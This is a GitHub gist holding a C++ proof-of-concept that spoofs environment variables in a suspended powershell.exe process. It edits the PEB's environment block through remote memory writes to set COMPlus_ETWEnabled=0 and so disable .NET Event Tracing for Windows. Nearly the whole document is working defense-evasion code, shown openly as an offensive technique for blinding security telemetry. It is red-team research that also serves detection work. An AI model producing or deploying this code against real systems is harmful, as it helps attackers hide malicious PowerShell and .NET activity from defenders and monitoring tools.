Created
June 6, 2020 21:25
-
-
Save xpn/64e5b6f7ad370c343e3ab7e9f9e22503 to your computer and use it in GitHub Desktop.
A very rough x64 POC for spoofing environment variables (similar to argument spoofing) with a focus on setting the COMPlus_ETWEnabled=0 var used to disable ETW in .NET
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// A very rough x64 POC for spoofing environment variables similar to argument spoofing with a focus on | |
// setting the COMPlus_ETWEnabled=0 var for disabling ETW in .NET. | |
// | |
// Works by launching the target process suspended, reading PEB, updates the ptr used to store environment variables, | |
// and then resuming the process. | |
// | |
// (https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/) | |
#define INJECT_PARAM L"COMPlus_ETWEnabled=0\0\0\0" | |
#define INJECT_PARAM_LEN 43 | |
#define SPAWN_PROCESS "powershell.exe" | |
#include <iostream> | |
#include <Windows.h> | |
#include <winternl.h> | |
typedef NTSTATUS(*NtQueryInformationProcess2)( | |
IN HANDLE, | |
IN PROCESSINFOCLASS, | |
OUT PVOID, | |
IN ULONG, | |
OUT PULONG | |
); | |
// Taken from Process Hacker with thanks -> https://github.com/processhacker/processhacker/blob/master/phnt/include/ntrtl.h | |
#define DOS_MAX_COMPONENT_LENGTH 255 | |
#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) | |
typedef struct _CURDIR | |
{ | |
UNICODE_STRING DosPath; | |
HANDLE Handle; | |
} CURDIR, * PCURDIR; | |
#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 | |
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 | |
typedef struct _RTL_DRIVE_LETTER_CURDIR | |
{ | |
USHORT Flags; | |
USHORT Length; | |
ULONG TimeStamp; | |
STRING DosPath; | |
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; | |
#define RTL_MAX_DRIVE_LETTERS 32 | |
#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 | |
typedef struct _RTL_USER_PROCESS_PARAMETERS_PH | |
{ | |
ULONG MaximumLength; | |
ULONG Length; | |
ULONG Flags; | |
ULONG DebugFlags; | |
HANDLE ConsoleHandle; | |
ULONG ConsoleFlags; | |
HANDLE StandardInput; | |
HANDLE StandardOutput; | |
HANDLE StandardError; | |
CURDIR CurrentDirectory; | |
UNICODE_STRING DllPath; | |
UNICODE_STRING ImagePathName; | |
UNICODE_STRING CommandLine; | |
PVOID Environment; | |
ULONG StartingX; | |
ULONG StartingY; | |
ULONG CountX; | |
ULONG CountY; | |
ULONG CountCharsX; | |
ULONG CountCharsY; | |
ULONG FillAttribute; | |
ULONG WindowFlags; | |
ULONG ShowWindowFlags; | |
UNICODE_STRING WindowTitle; | |
UNICODE_STRING DesktopInfo; | |
UNICODE_STRING ShellInfo; | |
UNICODE_STRING RuntimeData; | |
RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; | |
ULONG_PTR EnvironmentSize; | |
ULONG_PTR EnvironmentVersion; | |
PVOID PackageDependencyData; | |
ULONG ProcessGroupId; | |
ULONG LoaderThreads; | |
UNICODE_STRING RedirectionDllName; // REDSTONE4 | |
UNICODE_STRING HeapPartitionName; // 19H1 | |
ULONG_PTR DefaultThreadpoolCpuSetMasks; | |
ULONG DefaultThreadpoolCpuSetMaskCount; | |
} RTL_USER_PROCESS_PARAMETERS_PH; | |
void* readProcessMemory(HANDLE process, void* address, DWORD bytes) { | |
SIZE_T bytesRead; | |
char* alloc; | |
alloc = (char*)malloc(bytes); | |
if (alloc == NULL) { | |
return NULL; | |
} | |
if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) { | |
free(alloc); | |
return NULL; | |
} | |
return alloc; | |
} | |
BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) { | |
SIZE_T bytesWritten; | |
if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) { | |
return false; | |
} | |
return true; | |
} | |
int main(int argc, char** canttrustthis, char **canttrustthiseither) | |
{ | |
STARTUPINFOA si; | |
PROCESS_INFORMATION pi; | |
BOOL success; | |
PROCESS_BASIC_INFORMATION pbi; | |
DWORD retLen; | |
SIZE_T bytesRead; | |
PEB pebLocal; | |
RTL_USER_PROCESS_PARAMETERS_PH* parameters; | |
char* origEnv; | |
printf("EnvVar Spoofing Example by @_xpn_\n\n"); | |
memset(&si, 0, sizeof(si)); | |
memset(&pi, 0, sizeof(pi)); | |
// Start process suspended | |
success = CreateProcessA( | |
NULL, | |
(LPSTR)SPAWN_PROCESS, | |
NULL, | |
NULL, | |
FALSE, | |
CREATE_SUSPENDED | CREATE_NEW_CONSOLE, | |
NULL, // No env variables set on load so they will be taken from the parent (us). | |
"C:\\Windows\\System32\\", | |
&si, | |
&pi); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call CreateProcess\n"); | |
return 1; | |
} | |
// Retrieve information on PEB location in process | |
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess"); | |
ntpi( | |
pi.hProcess, | |
ProcessBasicInformation, | |
&pbi, | |
sizeof(pbi), | |
&retLen | |
); | |
// Read the PEB from the target process | |
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n"); | |
return 1; | |
} | |
// Grab the ProcessParameters from PEB | |
parameters = (RTL_USER_PROCESS_PARAMETERS_PH*)readProcessMemory( | |
pi.hProcess, | |
pebLocal.ProcessParameters, | |
sizeof(RTL_USER_PROCESS_PARAMETERS_PH) | |
); | |
// Read out the default env vars used | |
origEnv = (char*)readProcessMemory( | |
pi.hProcess, | |
parameters->Environment, | |
parameters->EnvironmentSize); | |
if (origEnv == NULL) { | |
printf("[!] Error: Could not read current environment variables\n"); | |
return 1; | |
} | |
// Allocate a new env region of memory in the target process so we can append our new values | |
char *newMem = (char*)VirtualAllocEx(pi.hProcess, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); | |
if (newMem == NULL) { | |
printf("[!] Error: Could not allocate memory in remote process\n"); | |
return 1; | |
} | |
success = writeProcessMemory( | |
pi.hProcess, | |
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, Environment), | |
(void*)&newMem, | |
8 | |
); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update Environment ptr\n"); | |
return 1; | |
} | |
// Copy env into a new buffer | |
char* newEnv = (char*)malloc(parameters->EnvironmentSize + INJECT_PARAM_LEN); | |
if (newEnv == NULL) { | |
printf("[!] Error: Out of memory\n"); | |
return 1; | |
} | |
// Copy over existing env vars | |
memset(newEnv, 0, parameters->EnvironmentSize + INJECT_PARAM_LEN);; | |
memcpy(newEnv, origEnv, parameters->EnvironmentSize); | |
// Work backwards to find the last env var and append | |
for (int i = 1; i < parameters->EnvironmentSize; i++) { | |
if (newEnv[parameters->EnvironmentSize - i] != '\0') { | |
// Found the last character in the size, we need to copy here | |
memcpy(newEnv + parameters->EnvironmentSize - i + 4, INJECT_PARAM, INJECT_PARAM_LEN); | |
break; | |
} | |
} | |
// Set our new length | |
parameters->EnvironmentSize += INJECT_PARAM_LEN; | |
// Set the actual vars we are looking to use | |
success = writeProcessMemory(pi.hProcess, newMem, (void*)newEnv, parameters->EnvironmentSize); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update environment vars\n"); | |
return 1; | |
} | |
// Update the length of our env vars | |
success = writeProcessMemory( | |
pi.hProcess, | |
(char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS_PH, EnvironmentSize), | |
(void*)¶meters->EnvironmentSize, | |
sizeof(parameters->EnvironmentSize) | |
); | |
if (success == FALSE) { | |
printf("[!] Error: Could not call WriteProcessMemory to update environment var length\n"); | |
return 1; | |
} | |
// Resume thread execution | |
ResumeThread(pi.hThread); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment